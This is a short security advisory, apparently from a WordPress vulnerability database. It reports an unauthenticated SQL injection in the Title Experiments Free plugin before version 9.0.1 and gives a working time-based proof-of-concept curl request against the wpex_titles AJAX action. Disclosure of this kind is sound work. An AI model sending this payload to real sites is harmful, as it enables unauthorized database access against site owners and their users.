WordPress Plugin Vulnerabilities

Title Experiments Free < 9.0.1 - Unauthenticated SQLi

Description

The plugin does not sanitise and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action (available to unauthenticated users), leading to an unauthenticated SQL injection

Proof of Concept

curl 'https://example.com/wp-admin/admin-ajax.php' --data 'action=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(5)))je)'

Affects Plugins

Fixed in 9.0.1
